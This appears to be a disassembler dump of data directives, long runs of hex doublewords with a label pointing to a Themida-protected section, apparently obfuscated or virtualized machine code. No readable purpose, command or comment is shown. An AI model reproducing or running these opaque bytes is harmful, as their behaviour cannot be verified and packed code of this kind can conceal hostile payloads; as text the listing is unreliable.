55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 18C5823Fh, 0B858h, 0BB660000h, 8D8DB5D1h dd 6144D79h, 2CF9BD0Bh, 0BD8B0614h, 61422DDh, 6AE1FFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 2358D5C3h, 0AD0A090Fh, 0BF669237h, 0BD8364D8h, 6142671h dd 8A840F00h, 52000004h, 835BFA8Bh, 142671BDh, 840F0106h dd 494h, 7E8h, 0E733E600h, 0AB373C84h, 0C483E781h, 835B6DC9h dd 142671BDh, 860F0306h, 43Eh, 21158D89h, 6A600614h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0DBCFC351h, 875E5B1Fh, 9531122Ch, 6140D01h, 0F9D98C66h dd 6A04E180h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0BF5C353h, 4AECCDFDh, 8D0F16CAh dd 3, 0AFA8B66h, 4E840FC9h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 99B9C350h dd 0D98B6664h, 1969858Bh, 0BD8B0614h, 6142511h, 1B818533h dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 518871C3h, 0BBD13EF1h, 5E0A21A9h, 0E8525090h dd 12h, 158E6A9Fh, 666312D8h, 1101993Ch, 0BEA64C27h, 61607A0Fh dd 5A310F5Bh, 0DA8B5058h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0CE2A4426h dd 7D5D012Dh, 6AF98AADh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0AEA3B3D4h, 0F3B14738h dd 2CD59D8Bh, 28680614h, 0BF66753Ch, 578EE141h, 0D7243481h dd 6A666A3Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 8B16C351h, 0C7F311B5h, 27C38EF0h dd 0CF59D89h, 0B70F0614h, 0AD95FFDBh, 0F061409h, 485h dd 11BB6600h, 98858981h, 6A0617AAh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BD3C350h dd 1432259Dh, 1EBE906h, 0B70F0000h, 90858BFAh, 6A0617AAh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0C830C355h, 0C799DB41h, 1800h, 5E900h, 0D7C70000h dd 8BF2CA0Eh, 17AA94B5h, 12E806h, 7E550000h, 0D7550CC5h dd 0CEBFF64Ch, 4DBB4128h, 9122A4B9h, 0ADCBB66h, 29858B5Fh dd 6A06140Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 580EC357h, 0CD379E72h, 2E5BD8Bh dd 6890614h, 1969858Bh, 0FE90614h, 53000000h, 675D33C4h dd 0B8BC3651h, 3EB02807h, 0FC8A4002h, 6A044689h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0B267C353h, 8A0A836Ah, 5DC3BFD9h, 509665D4h, 0BF665250h dd 310F62BCh, 0FF15BF66h, 505B585Ah, 10E8h, 0CC41F300h dd 3E63AA4Ah, 0E4F2B9D3h, 6D5272C4h, 14E9B6h, 1D630000h dd 3DC193FEh, 24574B30h, 514CA8C1h, 4543F36Dh, 965BC4CDh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DFC35646h dd 7236EFB0h, 9E83FFCh, 4000000h, 29FF579h, 4CF93A97h dd 9DC78166h, 0B5FF5BB2h, 617AA90h, 902818BFh, 62876813h dd 0BB6639FCh, 34811BFBh, 0E3617824h, 0D59D3339h, 8D061422h dd 17AA9885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 6069CE2Eh, 0E9158A68h, 0Fh, 521991Ch dd 0EABD592Bh, 9D0E8073h, 904AC6CCh, 0F1DFBF66h, 0D98B6050h dd 505B5660h, 90616159h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 96C35545h, 0DD41733h, 891DDE93h, 142EB985h dd 0AD95FF06h, 8B061409h, 140459BDh, 6A6106h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4CD976C3h dd 6860Fh, 0BD8B0000h, 61405C1h, 6800Fh, 0E7810000h, 730D4078h dd 267185C7h, 30614h, 7E90000h, 1B000000h, 3C5073BAh, 0FE98DC3h dd 0DA000000h, 190FB360h, 0D70B1730h, 89CFAB2h, 0BD838843h dd 617AA98h, 2F840F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0ECDDC355h dd 2EAF277Ah, 959501F5h, 0E906140Ch, 1Dh, 3050F98Bh, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8E9F129h, 0AF000000h, 25B356AAh, 8B252BA1h, 141C39BDh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 36668D8Eh, 8BAFD96Bh, 1430359Dh, 71BD8306h dd 3061426h, 411850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 28D221C3h, 0AEE87B55h dd 0AE8AAB7h, 36000000h, 0DD99F068h, 3391D3D6h, 99C38018h dd 98BD835Bh, 617AAh, 3CD840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 118E2EC3h dd 0FFFB8B66h, 17AA98B5h, 0D9D8906h, 0FF06140Bh, 142AF595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 8B8E99B3h, 1418EDBDh, 8CB58B06h, 0F0617AAh dd 686h, 398D8900h, 0BB06142Fh, 2F5BF1ADh, 106C7h, 0BD8B0001h dd 6141C31h, 0F88B5750h, 2434895Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 1EC35040h, 0BF0F661Bh, 98B5FFD9h dd 660617AAh, 0CABCD781h, 0B3195FFh, 6A0614h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B4F0FC3h dd 17AA8CB5h, 0D5858B06h, 6A061421h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 48EC350h dd 1A63A6BBh, 11659D23h, 86890614h, 0C4h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 0DDC35343h, 300FEB8h dd 142A15BDh, 918D8906h, 8B06140Bh, 14322995h, 0F2CB8106h dd 8308C9F8h, 0BF6604C2h, 5089C5C3h, 0F98B6620h, 2EB59589h dd 858D0614h, 617BE06h, 0F5BF856h, 186h, 8689F900h, 0B8h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AFC35646h dd 754363C5h, 3519D8Bh, 0C3810614h, 3FD0CDCDh, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0EB4EC1C3h, 860FA7A7h, 6, 2CA19529h, 0B5FF0614h dd 617AA98h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 4CC35646h, 0D2368F93h, 134FA557h, 93995FFh, 6A0614h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0EDE7F2C3h, 0B5D503EAh, 0AE8h, 644FA000h, 0A3713E91h dd 1F757E4h, 1413699Dh, 9D335F06h, 6141B99h, 503CB396h dd 8636BB66h, 0B1F38196h, 0FF5460ACh, 17AA98B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0BD2B1928h, 8918ACB4h, 142B2D85h, 0F595FF06h, 0BF061420h dd 0B623C70h, 0C21BD83h, 0F000614h, 6F84h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0A6236194h, 12E9DBh, 7FF0000h, 9C8324C9h, 52B9F323h dd 0A5464EA2h, 0BC1B3CC8h, 0EE950h, 58EB0000h, 0B5AFD4E9h dd 0DDFD9B8Dh, 0BD9CA592h, 60243489h, 13E8h, 6507EB00h dd 526FC396h, 45D513C8h, 79FFEF2Fh, 755FCDEEh, 16B58589h dd 61590614h, 0AA98B5FFh, 0FFF90617h, 1402B195h, 0FB8B6606h dd 0AA98B5FFh, 35BB0617h, 6624B267h, 781FD781h, 308195FFh dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 19D6F3C3h, 31F9BD89h, 0BD830614h, 61409F5h dd 76840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8BCFC356h, 142D0185h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0B5F5EF05h, 0BB66FA8Bh, 0C6BE76h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 34004281h, 68E0F76h, 9000000h, 1409B98Dh, 4D85C706h dd 61424h, 0E9000000h, 0FFFFF369h, 30959D8Bh, 0C18B0614h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7FC35141h dd 5DFFF349h, 0A936045Bh, 35958B60h, 61061403h, 0F99858Dh dd 81660614h, 901176EFh, 61B75250h, 10E9310Fh, 62000000h dd 9F0BDF85h, 0B371CD8h, 7AD181B7h, 5A67E84Ah, 8B665058h dd 0BB6690FEh, 6A1B45h, 6AFA8B66h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 58EE4AF8h dd 63A239D2h, 0E9BD23B6h, 8D061404h, 184DA885h, 58E0F06h dd 66000000h, 0FE64CF81h, 8005C083h, 9D0BEEC7h, 61409D5h dd 0FFBB5090h, 5B5BA917h, 12E950h, 5B820000h, 9C066C93h dd 0B7AF6654h, 0BB61BC75h, 4B8A1EADh, 57006A90h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0F26B31EEh, 14E9964Eh, 0B8000000h, 0DF0FC9F0h, 8017BF15h dd 42AD17C2h, 9F2272F4h, 6A9378A9h, 618D2900h, 6A06140Eh dd 0BD335100h, 61425CDh, 7195FF5Bh, 3106141Ah, 141A21BDh dd 0FC8D8D06h, 6A0617A8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 6F4C350h, 437F9054h dd 33D1FFF1h, 1430599Dh, 0CDBD8306h, 1061412h, 89850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 8D241C3h, 14800F29h, 0E9000000h, 0Fh, 34D84799h dd 0FCF17F8Eh, 0D1FD47A4h, 13473DEh, 1415CDB5h, 57026A06h dd 559D03h, 505B0614h, 870Fh, 4890000h, 53006A24h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 4592BD11h, 65FE9726h, 8D89DCD7h, 6140AFDh, 78DB8166h dd 3995FF14h, 0E9061409h, 0E34h, 0E8h, 0ED815D00h, 6184DB2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 90C35545h dd 0B2E741DCh, 0BBE3D2EAh, 506D5892h, 30399D89h, 858D0614h dd 6179623h, 218D0F50h, 50000000h, 16BB6652h, 0E9310F32h dd 12h, 753F2153h, 2C96E4B4h, 0D2EB9BB3h, 0F4B5A4BAh, 585A925Fh dd 89240489h, 140BD985h, 35FF6406h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 3FC35242h dd 0D63F2CC2h, 8E93E8Dh, 0D9000000h, 2612AD67h, 64B6A0A6h dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 3FF9DFC3h, 0DDBF1B5Dh, 0E9277AECh dd 7, 1AFE7278h, 0FF38D086h, 14236D85h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0B70F6818h, 6AFF6ADFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 6ECEC356h, 39E678A6h dd 0EFEEABDEh, 30D98D89h, 0D88A0614h, 14ADB5FFh, 6A0614h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0F38006C3h, 1995FFD0h, 0E906142Bh, 0E7h, 9D2900B0h dd 6140631h, 42BF70E6h, 317EF128h, 141DAD8Dh, 0F71E406h dd 613CDFB7h, 0C5830Fh, 8D890000h, 614109Dh, 0B7C8B60Fh dd 6BAA3h, 0BD8B0000h, 6141FE5h, 0BD03C18Bh, 6142001h dd 6604E8C1h, 54B7D88Bh, 29E2F766h, 140FA1BDh, 8BC82B06h dd 0E9D98BD1h, 6, 17119D09h, 858B0614h, 61414B5h, 2D19BD29h dd 0C0830614h, 0EAEB8007h, 0FC00C083h, 9E8h, 1C7F0300h dd 3934396Ch, 8D89DC2Ch, 6142289h, 0FD03B5Fh, 1783h, 7E900h dd 785E0000h, 39E1286Eh, 41E9D7h, 9D890000h, 61425CDh dd 2318D8Bh, 0B70F0614h, 1E183F9h, 29840Fh, 0BD890000h dd 614304Dh, 231A583h, 81FE0614h, 9A6885F7h, 0B595895Ah dd 60061414h, 0B956DE8Bh, 4F61FE39h, 0E96158h, 8D000000h dd 17CAC9B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 816660E0h, 8127DEC9h, 0EF7456C2h dd 6A616Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0B4C35545h, 0E8186E68h, 6, 0EB5E57F5h, 895B6D97h dd 1419E18Dh, 6995FF06h, 6A061411h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8414C352h dd 37B7C20Bh, 2EFD9D8Bh, 16B90614h, 6A00000Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 8D31C355h, 0E96B355Fh, 12h, 0A5D089E3h, 0B575F652h dd 0FB96EDDBh, 82CDE301h, 0E183B4BBh, 0BD8BFCFCh, 61421B1h dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0D84ACAC3h, 820F49E1h, 3, 0FDA8B66h, 488h dd 0FEBB6600h, 0BA3Ah, 1CBB0000h, 0AD48B1D4h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 84B7C353h, 0C781668Ch dd 880DFCEBh, 0F9000000h, 0BEB50BBFh, 29958B72h, 6A061432h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0D68C356h, 2EBDB55Fh, 2AFD8531h, 8D8B0614h dd 614064Dh, 501BD380h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0B2120128h, 0FFB70F67h, 0BA58531h dd 0BD830614h, 61429ADh, 9E840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0F024C356h, 0E95C7405h, 0Eh, 8D42DC7Bh, 69FAA172h, 356A3494h dd 0B8B588h, 0E9000000h, 9, 5EA4F5DCh, 578C159Ah, 798D8D6Fh dd 6A06144Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 5C40C353h, 6840FE7h, 89000000h dd 1406619Dh, 6AE1FF06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 85B3C357h, 0AA2891C6h dd 0B39E1E59h, 71BD831Dh, 61426h, 4FE840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 5E85CC3h, 0F6000000h, 0B5D754DBh, 699D8B50h, 5B061426h dd 0B9BD235Bh, 81061402h, 476ED4CBh, 71BD834Ah, 1061426h dd 4D1840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 94C0E8C3h, 71BD835Dh, 3061426h dd 46F860Fh, 8B520000h, 1403D5BDh, 6A605B06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 7047C357h, 7CF221DCh, 0B34D654Ch, 6AD98C66h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0C817C351h, 5E939BEh, 23000000h, 0E16C8417h, 6A04E180h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 9010C352h, 60DE857Bh, 24A5BD29h, 9E90614h dd 4D000000h, 558560FCh, 0D9E3ED16h, 0BE666061h, 858BB94Ah dd 6142315h, 85858961h, 0A061415h, 0F1840FC9h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 973CC356h, 10E984h, 2E850000h, 0FE1B161Bh dd 0CB8E0801h, 4BB99AAAh, 858B8D4Eh, 6141969h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FFC35646h, 51BCC56Eh dd 0FEDBD8Bh, 85330614h, 6141B81h, 0BB47BB66h, 8F0F90F9h dd 0Dh, 8E9h, 4C4B8700h, 9856C18Ah, 9E85085h, 40000000h dd 0D9059FAEh, 0A49C36F1h, 11E9h, 0E4CD6500h, 0C10FCBC9h dd 452290E1h, 72B2DFB6h, 905B7020h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 5C35646h, 21CED6CEh, 6A77ACh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0ECC35343h dd 3B30CD79h, 565DB0DDh, 8E0Fh, 0BD290000h, 6140F95h, 4E8h dd 1F03FF00h, 11E95600h, 72000000h, 0BBEB421Ah, 528FEF3Fh dd 2AED27A8h, 1CCAD85Dh, 0BCBF505Fh, 8B6506A6h, 0BF042444h dd 2ED9131Dh, 9E8008Bh, 81000000h, 9EC3A50h, 74D48079h dd 310F5250h, 5AD88B66h, 44895F58h, 89580424h, 1420B98Dh dd 5820F06h, 66000000h, 55F8D781h, 9AD95FFh, 6A0614h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 53D2BAC3h, 8D09139Ch, 6142D31h, 56A4BB66h, 0AA988589h dd 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0B26601C3h, 78DF7C53h, 0FE9F2F9h, 0E9000000h dd 2CDADE46h, 0B0E651F7h, 0CC9EF94Ch, 8EE9D439h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0E3FDC351h, 0BD8B84A9h, 6142AC1h, 0AA90858Bh dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0E98F30C3h, 0Ch, 9A535050h, 6936C468h, 0F57A2AB8h dd 1800C7h, 0EF810000h, 41CB0147h, 0AA94B58Bh, 0F9600617h dd 0F6173B6h, 858BDEB7h, 6140B29h, 35298589h, 6890614h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 17C35141h dd 9B2993C6h, 8C8BBFD9h, 3860FEDh, 0F000000h, 0E3BFD9B7h dd 8B6740A3h, 14196985h, 0E19D8906h, 89061420h, 0FE90446h dd 3D000000h dd 0CA8A47ABh, 0CBF99356h, 0E884235Fh, 515083D1h, 2434895Fh dd 0DE9h, 0E7C3CE00h, 1B572814h, 1BA34E09h, 0B5FF3875h dd 617AA90h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0A3C35646h, 5B7F58F1h, 6F54737Eh, 0AE9h, 0F9966B00h dd 2AE580F0h, 686CE605h, 0D1D5C7C2h, 29C3E1BBh, 24048132h dd 2E493C3Dh, 1C2D9D89h, 858D0614h, 617AA98h, 0E950F88Bh dd 0Dh, 0EBC2CC59h, 98A60E3Bh, 0A1E100B5h, 2404894Fh, 32099589h dd 95FF0614h, 61409ADh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0ACC35040h, 89D4193Bh, 1425FDBDh, 0BD0B6106h dd 6143215h, 13C9E7BFh, 7185C70Dh, 3061426h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 6218C351h, 0F4EB8166h, 98BD839Fh, 617AAh dd 23840Fh, 0F88B0000h, 37E9h, 0FA8B6600h, 12E951h, 45DB0000h dd 3B962D15h, 1B90704Bh, 0EB1A15A0h, 0F88C28B3h, 0C30505Bh dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0F79BD8Bh dd 8B600614h, 142585B5h, 0CD9D0106h, 61061423h, 2071BD2Bh dd 0BD830614h, 6142671h, 0B5850F03h, 81000003h, 8198F6C3h dd 0B19D8947h, 83061429h, 17AA98BDh, 840F0006h, 39Ch, 0C299D8Bh dd 0B5FF0614h, 617AA98h, 1870Fh, 0FFF50000h, 142AF595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 1644C267h, 8B10007Eh, 17AA8CB5h, 0DE906h dd 50970000h, 0E5396F70h, 0FC842759h, 29C6C249h, 140B698Dh dd 106C706h, 50000100h, 0CDB5BB66h, 6A243489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 553C352h, 9DD38275h, 3471B589h, 0B5FF0614h, 617AA98h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 22C35141h dd 87B46EACh, 0C88D9052h, 0EDB58914h, 29061423h, 14226D95h dd 3195FF06h, 6A06140Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 93EAC355h, 17F1680Dh dd 95010ED2h, 61418EDh, 0AA8CB58Bh, 10E80617h, 7C000000h dd 48105077h, 7B4EEEEh, 3E4BC964h, 5F161D8Bh, 21D5858Bh dd 85890614h, 6140315h, 1FC755BFh, 0C4868954h, 66000000h dd 958BFA8Bh, 6143229h, 2B69BD03h, 0C2830614h, 20508904h dd 6880Fh, 9D8B0000h, 6141115h, 0BE06858Dh, 86890617h dd 0B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0DAC35343h, 0BD32EE44h, 11618589h, 0BD8B0614h dd 6142429h, 0E9F5006Ah, 9, 1C525B23h, 0FE81BAB1h, 98B5FF2Fh dd 90617AAh, 1425E1BDh, 3995FF06h, 66061409h, 0E896F98Bh dd 0Eh, 4BEECFACh, 202C3D05h, 23C01AAh, 11E86146h, 0A6000000h dd 0DB6A3ADEh, 64323F68h, 3D55524Ah, 0B5ADF0FCh, 5F5BFB8Bh dd 0B8666050h, 52505C41h, 8B66310Fh, 61585AD3h, 6D9D8B96h dd 0FF061404h, 17AA98B5h, 5BD0306h, 0FF06142Fh, 1420F595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0A6FDFA1Dh, 9D89DD0Dh, 6140B81h, 0C21BD83h dd 0F000614h, 4684h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0C3818C1Ch, 1A5683A7h dd 0CE896h, 7F9B0000h, 0B3B858A4h, 1A64C247h, 8A0F4184h dd 5, 9F004EBBh, 96505F43h, 0FFFB8B66h, 17AA98B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0E5B58964h, 2906142Ch, 141C61B5h, 0B195FF06h, 89061402h dd 1405819Dh, 158D8906h, 0FF06140Eh, 17AA98B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0B54E4366h, 5870F66h, 51000000h, 5FDE8B66h, 95FFF0B7h dd 6143081h, 7E8h, 1D6C4000h, 0D10567C1h, 13E1BD8Bh, 805F0614h dd 0BD838FDBh, 61409F5h, 6F840F02h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 67EDC355h, 0E910BEE1h, 0Ch, 8748BF20h, 450D1EE6h, 49183CD7h dd 2D01858Bh, 7E80614h, 8F000000h, 92EAF28Fh, 8D0F209Ch dd 0 dd 0C65Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0D6C35545h, 9DF4E3B2h, 85C7FCAAh, 614244Dh, 0 dd 0A800Fh, 8B600000h, 0ED8D8BFBh, 61061418h, 0FFF32CE9h dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0FD4B66F8h, 34F6D38Dh, 178E0F5Ch, 0E9000000h dd 12h, 25025569h, 19C7F25Ah, 0EA5CD5F8h, 0C343F15Ch, 8BF8474Ah dd 12E9C1h, 8CEB0000h, 0D5D7F44Dh, 0F66191B1h, 0BCFC297Ah dd 0FC4CC5BEh dword_58E7C0 dd 0F99858Dh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h ; DATA XREF: Themida_:0054BA48o dd 180424h, 55450000h, 8B827DC3h, 7EB7BAE1h, 14E86050h dd 35000000h, 9915E92Bh, 0A29160C8h, 0F202F00Bh, 0D34E799Fh dd 8B291609h, 8B6659FAh, 48961FEh, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0B293A1FDh dd 8B66F79Eh, 55BD8BDAh, 8106140Ch, 321286DBh, 6A006A09h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 2AB8C353h, 0E652F57Ah, 148D9D8Bh, 6A0614h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 18C35646h dd 0A3087C4Eh, 559501EDh, 8D06142Bh, 185E1F85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 2ACE512Fh, 2ABA40B0h, 31F98B66h, 1424D9BDh, 5C08306h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0D0C35343h dd 0F5958943h, 0F8061408h, 87BB6650h, 24048993h, 139DBD03h dd 6A0614h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0DC35747h, 605A03A1h, 8E613933h, 6AFB8B66h, 0B5BD8B00h dd 0FF061410h, 141A7195h, 0D8D0106h, 60061421h, 25518529h dd 8D610614h, 17A8FC8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0A00E6D7Ah, 0FFDE8B4Eh dd 8A0FD1h, 83000000h, 1412CDBDh, 850F0106h, 86h, 6880Fh dd 810F0000h, 0 dd 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0A36620C3h, 0B68AEB73h, 9D8BBB36h, 614322Dh dd 6CABF90h, 0F504465h, 8Ah, 6A9000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 365C61C3h dd 0A78241D1h, 3995FF14h, 0E8061409h, 0Bh, 7CC6A624h, 0B57D8C0h dd 81758D97h, 47D4D7CFh, 8CE95F3Fh, 0E800000Eh, 0 dd 29ED815Dh, 8906185Eh, 140ED58Dh, 0FBB70F06h, 9623858Dh dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 3462C8C3h, 9010A1E8h, 11E850h, 36690000h dd 88C9A304h, 7F3FCB19h, 0BB1B1978h, 0E8556E8Fh, 0Eh, 8856F1F9h dd 0AEDC071Ch, 0FECD07C3h, 5B5257C3h, 89905B5Bh, 141D999Dh dd 6850F06h, 8B000000h, 141905BDh, 35FF6406h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 1FC35141h dd 8D890850h, 614221Dh, 0CE9h, 0A16AE800h, 210B7902h, 13267987h dd 2589647Bh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 8AC35141h dd 60A5AE26h, 99D8B94h, 0FF061432h, 14236D85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 320E0FF2h, 0B8B8F71Dh, 2D9D8B13h, 6A061423h, 1B5FFFFh dd 6A061416h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 8268C350h, 68E0F88h, 89000000h dd 14346D85h, 8E906h, 95E00000h, 820BC4EBh, 95FF9F99h dd 6142B19h, 13BE9h, 6870F00h, 81000000h, 6C1EFDC7h, 0F00B044h dd 58Dh, 0AD99BB00h, 